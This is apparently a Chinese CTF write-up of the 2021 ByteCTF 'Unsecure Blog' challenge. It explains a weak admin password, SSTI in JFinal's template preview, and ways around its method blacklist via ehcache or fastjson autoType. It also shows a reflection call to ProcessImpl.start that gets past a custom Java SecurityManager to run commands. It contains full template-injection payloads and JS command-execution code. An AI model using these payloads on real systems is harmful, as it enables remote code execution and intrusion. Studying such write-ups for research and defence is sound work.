0%

2021ByteCTF-Unsecure Blog

Unsecure Blog

这道题主要有两个考点是比较难的,分别是绕过ssti和Security Manager。前面的部分比较简单,弱密码111111进入后台,然后审计代码发现修改博客这里的预览功能存在ssti。对应于com.jfinal.app.blog._admin.blog.BlogAdminController::preview方法

image-20211020162518238

SSTI绕过

jfinal自带的模板引擎虽然宣称可以像写java代码一样去写模板,但是在模板中还是存在安全防护的。比如一些敏感的方法是不允许被调用的。黑名单如下,定义在com.jfinal.template.expr.ast.MethodKit

String[] ms = new String[]{"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod"};

针对以上黑名单的过滤,结合题目的依赖,可以发现两种绕过姿势。

一是利用了ehcache依赖,使用net.sf.ehcache.util.ClassLoaderUtil::createNewInstance方法实现危险类的实例化。这个方法的作用是根据给定的类名去创建一个该类的对象,比如我们可以创建一个ScriptEngineManager对象,进而拿到js引擎,来实现任意js代码执行,下面第二种方法的最终目的也是拿到这个js引擎对象。

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js")) 
#(e.eval(jscode))

二是利用fastjson依赖,这种方法太骚了,手动设置autoTypeSupport为true(否则fastjson无法反序列化ScriptEngineManager),然后就可以反序列化自己想要的对象了

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))

Security Manager绕过

绕过ssti后,已经可以执行js代码了,但是本题还存在Security Manager的限制,导致代码执行起来没有那么得心应手。Security Manager的介绍请看这篇文章(绝对的良心好文)。文章中详细介绍了sm及绕过方式,是基于java代码层面的,本题中是需要通过js代码来进行绕过,不过绕过的核心思想都是一样的。

/*    */ package com.jfinal.app.security;
/*    */ 
/*    */ import java.security.Permission;
/*    */ 
/*    */ 
/*    */ 
/*    */ 
/*    */ public class ForbiddenSecurityManager
/*    */ {
/*    */   public static void setSecurityManager() {
/* 11 */     SecurityManager oldSecurityManager = System.getSecurityManager();
/* 12 */     if (oldSecurityManager == null) {
/* 13 */       SecurityManager execSecurityManager = new SecurityManager() {
/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm) {
/* 35 */             check(perm);
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm, Object context) {
/* 40 */             check(perm);
/*    */           }
/*    */         };
/* 43 */       System.setSecurityManager(execSecurityManager);
/*    */     } 
/*    */   }
/*    */ }

这题能用的姿势是直接使用反射调用ProcessImpl::start(即Runtime::exec的底层实现),其他的我也有尝试,后来发现唯有以下这种能行得通。

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

后话

到这里这题也就基本结束了,能rce了之后就是简单的导出注册表然后就拿到flag了。但是在此之后我尝试自己构造一些别的绕过sm的js代码,结果是都失败了。

下面列举出一些失败的尝试,避免跟我一样走弯路。

首先是使用反射设置所有栈桢的ProtectionDomain的hasAllPerm属性为true。

var stackTraceElements=java.lang.Thread.currentThread().getStackTrace();
for(var i=0;i<stackTraceElements.length;i++){
    try{
        var stackTraceElement=stackTraceElements[i];
        var clz = java.lang.Class.forName(stackTraceElement.getClassName());
        var getProtectionDomain = clz.getClass().getDeclaredMethod('getProtectionDomain0', null);
        getProtectionDomain.setAccessible(true);
        var pd = getProtectionDomain.invoke(clz);
        if (pd!=null){
            var field = pd.getClass().getDeclaredField('hasAllPerm');
            field.setAccessible(true);
            field.set(pd, true);
        }
    }catch(e){}
}
java.lang.Runtime.getRuntime().exec('calc');

构造完之后一打,发现得到了这样的报错,很明显是被sm拦了下来。

image-20211020210741819

仔细看题目自定义的sm就会发现,题目环境跟上面推荐的博客的实验环境是有差别的。博客的实验环境通过命令行来配置sm,使用的是jdk自带的sm实现,在他的checkPermission方法中调用了java.security.AccessController::checkPermission,这个方法就会自顶向下去检查各个栈桢的ProtectionDomain,是否满足权限,包括会去处理doPrivileged。

然而这题使用的是自定义的sm,它重写了checkPermission方法,并没有去调用java.security.AccessController::checkPermission,而是统一调用自己写的check方法,完全不涉及到遍历栈桢检查权限的问题。所以我们这样去修改栈桢权限是根本没用的。当执行java.lang.Runtime.getRuntime().exec('calc');时,触发check函数,走到if (actions != null && actions.contains("execute"))分支,就挂了

/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }

此外,通过类加载器来绕过sm的思路也是行不通。它的思想是写一个类加载器去加载恶意类EvilClass,然后给这个类赋予所有权限,然后再在这个类中去调用AccessController.doPrivileged。因为调用了doPrivileged,所以检查权限时到EvilClass就会截至,而EvilClass拥有所有权限,所以能绕过。

然而,就如上面的分析,这里使用的不是jdk自带的sm,用原来的绕过方式是行不通的。

public class EvilClass {
    public EvilClass() {
    }

    static {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                try {
                    Process var1 = Runtime.getRuntime().exec("calc");
                    return null;
                } catch (Exception var2) {
                    var2.printStackTrace();
                    return null;
                }
            }
        });
    }
}

那么反射调用ProcessImpl::start为什么可以打通呢?

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

debug看看使用这种打法会触发什么权限检查

调用getDeclaredMethod时,会触发RuntimePermission的检查

image-20211020212451716

在调用setAccessible时,会触发ReflectPermission的检查

image-20211020212725141

回看一下题目环境中的check函数,RuntimePermission有处理,不过只ban掉了name包含setSecurityManager的情况。我们这里name是accessDeclaredMembers,所以不会被ban。而ReflectPermission就更舒服了,压根没限制。因此这种直接反射调用ProcessImpl::start的打法就奏效了

参考文章

java沙箱绕过